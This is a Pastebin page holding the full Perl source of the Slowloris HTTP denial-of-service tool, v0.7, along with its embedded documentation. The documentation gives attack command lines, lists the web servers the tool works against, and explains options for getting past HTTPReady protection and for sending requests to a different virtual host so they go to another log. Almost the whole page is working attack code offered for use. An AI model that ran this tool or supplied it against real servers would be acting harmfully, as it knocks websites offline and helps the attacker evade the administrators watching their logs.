Advertisement
Muhammad_Bilal

slowloris DDOS perl Script

Feb 6th, 2014
1,059
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 19.26 KB | None | 0 0
  1.  
  2. __  __      _       _ _                    ___                  
  3. \ \/ /_ __ | | ___ (_) |_ ___ _ __ ___    / __\ __ _____      __
  4.  \  /| '_ \| |/ _ \| | __/ _ \ '__/ __|  / / | '__/ _ \ \ /\ / /
  5.  /  \| |_) | | (_) | | ||  __/ |  \__ \ / /__| | |  __/\ V  V /
  6. /_/\_\ .__/|_|\___/|_|\__\___|_|  |___/ \____/_|  \___| \_/\_/  
  7.      |_|    
  8.  
  9. slowloris DDOS perl Script
  10.  
  11.  
  12. #!/usr/bin/perl -w
  13. use strict;
  14. use IO::Socket::INET;
  15. use IO::Socket::SSL;
  16. use Getopt::Long;
  17. use Config;
  18.  
  19. $SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors
  20.  
  21. print <<EOTEXT;
  22. CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::
  23. CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::
  24. CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::
  25. CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::
  26. CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
  27. ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc
  28. ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
  29. oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
  30. oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
  31. oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
  32. CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
  33. CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
  34. OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO
  35. OOOOO888\@8\@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
  36. COOO888\@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO
  37. CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC
  38. coooCCO8\@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC
  39. :ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC
  40. .:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC
  41. ....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
  42. .......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
  43. ...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
  44. .............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
  45.  ..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC
  46.    .  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco
  47.   .  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc
  48.        .   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco
  49.  Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
  50. EOTEXT
  51.  
  52. my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
  53. my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
  54. my $result = GetOptions(
  55.     'shost=s'   => \$shost,
  56.     'dns=s'     => \$host,
  57.     'httpready' => \$httpready,
  58.     'num=i'     => \$connections,
  59.     'cache'     => \$cache,
  60.     'port=i'    => \$port,
  61.     'https'     => \$ssl,
  62.     'tcpto=i'   => \$tcpto,
  63.     'test'      => \$test,
  64.     'timeout=i' => \$timeout,
  65.     'version'   => \$version,
  66. );
  67.  
  68. if ($version) {
  69.     print "Version 0.7\n";
  70.     exit;
  71. }
  72.  
  73. unless ($host) {
  74.     print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
  75.     print "\n\tType 'perldoc $0' for help with options.\n\n";
  76.     exit;
  77. }
  78.  
  79. unless ($port) {
  80.     $port = 80;
  81.     print "Defaulting to port 80.\n";
  82. }
  83.  
  84. unless ($tcpto) {
  85.     $tcpto = 5;
  86.     print "Defaulting to a 5 second tcp connection timeout.\n";
  87. }
  88.  
  89. unless ($test) {
  90.     unless ($timeout) {
  91.         $timeout = 100;
  92.         print "Defaulting to a 100 second re-try timeout.\n";
  93.     }
  94.     unless ($connections) {
  95.         $connections = 1000;
  96.         print "Defaulting to 1000 connections.\n";
  97.     }
  98. }
  99.  
  100. my $usemultithreading = 0;
  101. if ( $Config{usethreads} ) {
  102.     print "Multithreading enabled.\n";
  103.     $usemultithreading = 1;
  104.     use threads;
  105.     use threads::shared;
  106. }
  107. else {
  108.     print "No multithreading capabilites found!\n";
  109.     print "Slowloris will be slower than normal as a result.\n";
  110. }
  111.  
  112. my $packetcount : shared     = 0;
  113. my $failed : shared          = 0;
  114. my $connectioncount : shared = 0;
  115.  
  116. srand() if ($cache);
  117.  
  118. if ($shost) {
  119.     $sendhost = $shost;
  120. }
  121. else {
  122.     $sendhost = $host;
  123. }
  124. if ($httpready) {
  125.     $method = "POST";
  126. }
  127. else {
  128.     $method = "GET";
  129. }
  130.  
  131. if ($test) {
  132.     my @times = ( "2", "30", "90", "240", "500" );
  133.     my $totaltime = 0;
  134.     foreach (@times) {
  135.         $totaltime = $totaltime + $_;
  136.     }
  137.     $totaltime = $totaltime / 60;
  138.     print "This test could take up to $totaltime minutes.\n";
  139.  
  140.     my $delay   = 0;
  141.     my $working = 0;
  142.     my $sock;
  143.  
  144.     if ($ssl) {
  145.         if (
  146.             $sock = new IO::Socket::SSL(
  147.                 PeerAddr => "$host",
  148.                 PeerPort => "$port",
  149.                 Timeout  => "$tcpto",
  150.                 Proto    => "tcp",
  151.             )
  152.           )
  153.         {
  154.             $working = 1;
  155.         }
  156.     }
  157.     else {
  158.         if (
  159.             $sock = new IO::Socket::INET(
  160.                 PeerAddr => "$host",
  161.                 PeerPort => "$port",
  162.                 Timeout  => "$tcpto",
  163.                 Proto    => "tcp",
  164.             )
  165.           )
  166.         {
  167.             $working = 1;
  168.         }
  169.     }
  170.     if ($working) {
  171.         if ($cache) {
  172.             $rand = "?" . int( rand(99999999999999) );
  173.         }
  174.         else {
  175.             $rand = "";
  176.         }
  177.         my $primarypayload =
  178.             "GET /$rand HTTP/1.1\r\n"
  179.           . "Host: $sendhost\r\n"
  180.           . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  181.           . "Content-Length: 42\r\n";
  182.         if ( print $sock $primarypayload ) {
  183.             print "Connection successful, now comes the waiting game...\n";
  184.         }
  185.         else {
  186.             print
  187. "That's odd - I connected but couldn't send the data to $host:$port.\n";
  188.             print "Is something wrong?\nDying.\n";
  189.             exit;
  190.         }
  191.     }
  192.     else {
  193.         print "Uhm... I can't connect to $host:$port.\n";
  194.         print "Is something wrong?\nDying.\n";
  195.         exit;
  196.     }
  197.     for ( my $i = 0 ; $i <= $#times ; $i++ ) {
  198.         print "Trying a $times[$i] second delay: \n";
  199.         sleep( $times[$i] );
  200.         if ( print $sock "X-a: b\r\n" ) {
  201.             print "\tWorked.\n";
  202.             $delay = $times[$i];
  203.         }
  204.         else {
  205.             if ( $SIG{__WARN__} ) {
  206.                 $delay = $times[ $i - 1 ];
  207.                 last;
  208.             }
  209.             print "\tFailed after $times[$i] seconds.\n";
  210.         }
  211.     }
  212.  
  213.     if ( print $sock "Connection: Close\r\n\r\n" ) {
  214.         print "Okay that's enough time. Slowloris closed the socket.\n";
  215.         print "Use $delay seconds for -timeout.\n";
  216.         exit;
  217.     }
  218.     else {
  219.         print "Remote server closed socket.\n";
  220.         print "Use $delay seconds for -timeout.\n";
  221.         exit;
  222.     }
  223.     if ( $delay < 166 ) {
  224.         print <<EOSUCKS2BU;
  225. Since the timeout ended up being so small ($delay seconds) and it generally
  226. takes between 200-500 threads for most servers and assuming any latency at
  227. all...  you might have trouble using Slowloris against this target.  You can
  228. tweak the -timeout flag down to less than 10 seconds but it still may not
  229. build the sockets in time.
  230. EOSUCKS2BU
  231.     }
  232. }
  233. else {
  234.     print
  235. "Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
  236.  
  237.     if ($usemultithreading) {
  238.         domultithreading($connections);
  239.     }
  240.     else {
  241.         doconnections( $connections, $usemultithreading );
  242.     }
  243. }
  244.  
  245. sub doconnections {
  246.     my ( $num, $usemultithreading ) = @_;
  247.     my ( @first, @sock, @working );
  248.     my $failedconnections = 0;
  249.     $working[$_] = 0 foreach ( 1 .. $num );    #initializing
  250.     $first[$_]   = 0 foreach ( 1 .. $num );    #initializing
  251.     while (1) {
  252.         $failedconnections = 0;
  253.         print "\t\tBuilding sockets.\n";
  254.         foreach my $z ( 1 .. $num ) {
  255.             if ( $working[$z] == 0 ) {
  256.                 if ($ssl) {
  257.                     if (
  258.                         $sock[$z] = new IO::Socket::SSL(
  259.                             PeerAddr => "$host",
  260.                             PeerPort => "$port",
  261.                             Timeout  => "$tcpto",
  262.                             Proto    => "tcp",
  263.                         )
  264.                       )
  265.                     {
  266.                         $working[$z] = 1;
  267.                     }
  268.                     else {
  269.                         $working[$z] = 0;
  270.                     }
  271.                 }
  272.                 else {
  273.                     if (
  274.                         $sock[$z] = new IO::Socket::INET(
  275.                             PeerAddr => "$host",
  276.                             PeerPort => "$port",
  277.                             Timeout  => "$tcpto",
  278.                             Proto    => "tcp",
  279.                         )
  280.                       )
  281.                     {
  282.                         $working[$z] = 1;
  283.                         $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
  284.                     }
  285.                     else {
  286.                         $working[$z] = 0;
  287.                     }
  288.                 }
  289.                 if ( $working[$z] == 1 ) {
  290.                     if ($cache) {
  291.                         $rand = "?" . int( rand(99999999999999) );
  292.                     }
  293.                     else {
  294.                         $rand = "";
  295.                     }
  296.                     my $primarypayload =
  297.                         "$method /$rand HTTP/1.1\r\n"
  298.                       . "Host: $sendhost\r\n"
  299.                       . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  300.                       . "Content-Length: 42\r\n";
  301.                     my $handle = $sock[$z];
  302.                     if ($handle) {
  303.                         print $handle "$primarypayload";
  304.                         if ( $SIG{__WARN__} ) {
  305.                             $working[$z] = 0;
  306.                             close $handle;
  307.                             $failed++;
  308.                             $failedconnections++;
  309.                         }
  310.                         else {
  311.                             $packetcount++;
  312.                             $working[$z] = 1;
  313.                         }
  314.                     }
  315.                     else {
  316.                         $working[$z] = 0;
  317.                         $failed++;
  318.                         $failedconnections++;
  319.                     }
  320.                 }
  321.                 else {
  322.                     $working[$z] = 0;
  323.                     $failed++;
  324.                     $failedconnections++;
  325.                 }
  326.             }
  327.         }
  328.         print "\t\tSending data.\n";
  329.         foreach my $z ( 1 .. $num ) {
  330.             if ( $working[$z] == 1 ) {
  331.                 if ( $sock[$z] ) {
  332.                     my $handle = $sock[$z];
  333.                     if ( print $handle "X-a: b\r\n" ) {
  334.                         $working[$z] = 1;
  335.                         $packetcount++;
  336.                     }
  337.                     else {
  338.                         $working[$z] = 0;
  339.                         #debugging info
  340.                         $failed++;
  341.                         $failedconnections++;
  342.                     }
  343.                 }
  344.                 else {
  345.                     $working[$z] = 0;
  346.                     #debugging info
  347.                     $failed++;
  348.                     $failedconnections++;
  349.                 }
  350.             }
  351.         }
  352.         print
  353. "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
  354.         sleep($timeout);
  355.     }
  356. }
  357.  
  358. sub domultithreading {
  359.     my ($num) = @_;
  360.     my @thrs;
  361.     my $i                    = 0;
  362.     my $connectionsperthread = 50;
  363.     while ( $i < $num ) {
  364.         $thrs[$i] =
  365.           threads->create( \&doconnections, $connectionsperthread, 1 );
  366.         $i += $connectionsperthread;
  367.     }
  368.     my @threadslist = threads->list();
  369.     while ( $#threadslist > 0 ) {
  370.         $failed = 0;
  371.     }
  372. }
  373.  
  374. __END__
  375.  
  376. =head1 TITLE
  377.  
  378. Slowloris
  379.  
  380. =head1 VERSION
  381.  
  382. Version 0.7 Beta
  383.  
  384. =head1 DATE
  385.  
  386. 06/17/2009
  387.  
  388. =head1 AUTHOR
  389.  
  390. RSnake <[email protected]> with threading from John Kinsella
  391.  
  392. =head1 ABSTRACT
  393.  
  394. Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively.  It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.
  395.  
  396. =head1 AFFECTS
  397.  
  398. Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?
  399.  
  400. =head1 NOT AFFECTED
  401.  
  402. IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
  403.  
  404. =head1 DESCRIPTION
  405.  
  406. Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data.  Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts.  There is an added function to help you get started with finding the right sized timeouts as well.
  407.  
  408. As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances.  Think of Slowloris as the HTTP equivalent of a SYN flood.
  409.  
  410. =head2 Testing
  411.  
  412. If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:
  413.  
  414. =head3 Testing Example:
  415.  
  416. ./slowloris.pl -dns www.example.com -port 80 -test
  417.  
  418. This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for.  If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).
  419.  
  420. =head2 HTTP DoS
  421.  
  422. Once you find a timeout window, you can tune Slowloris to use certain timeout windows.  For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision.  The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to identify if it's successful or not though.
  423.  
  424. =head3 HTTP DoS Example:
  425.  
  426. ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5
  427.  
  428. =head2 HTTPReady Bypass
  429.  
  430. HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.
  431.  
  432. =head3 HTTPReady Bypass Example
  433.  
  434. ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready
  435.  
  436. =head2 Stealth Host DoS
  437.  
  438. If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable.  This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.
  439.  
  440. =head3 Stealth Host DoS Example:
  441.  
  442. ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com
  443.  
  444. =head2 HTTPS DoS
  445.  
  446. Slowloris does support SSL/TLS on an experimental basis with the -https switch.  The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development.  Your mileage may vary.
  447.  
  448. =head3 HTTPS DoS Example:
  449.  
  450. ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https
  451.  
  452. =head2 HTTP Cache
  453.  
  454. Slowloris does support cache avoidance on an experimental basis with the -cache switch.  Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources.  The usefulness of this particular option has not been thoroughly tested.  Your mileage may vary.
  455.  
  456. =head3 HTTP Cache Example:
  457.  
  458. ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
  459.  
  460. =head1 Issues
  461.  
  462. Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation.  They may be ways around this, but not in this version at this time.  Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.
  463.  
  464. Slowloris isn't completely quiet either, because it can't be.  Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder).  So it's not invisible if the traffic to the site is typically fairly low.  On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.
  465.  
  466. For some reason Slowloris works way better if run from a *Nix box than from Windows.  I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number.  If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems.  Either way, this program seems to work best if run from FreeBSD.  
  467.  
  468. Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors.  So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another.  You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.
  469.  
  470. =head1 What is a slow loris?
  471.  
  472. What exactly is a slow loris?  It's an extremely cute but endangered mammal that happens to also be poisonous.  Check this out:
  473.  
  474. http://www.youtube.com/watch?v=rLdQ3UhLoD4
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement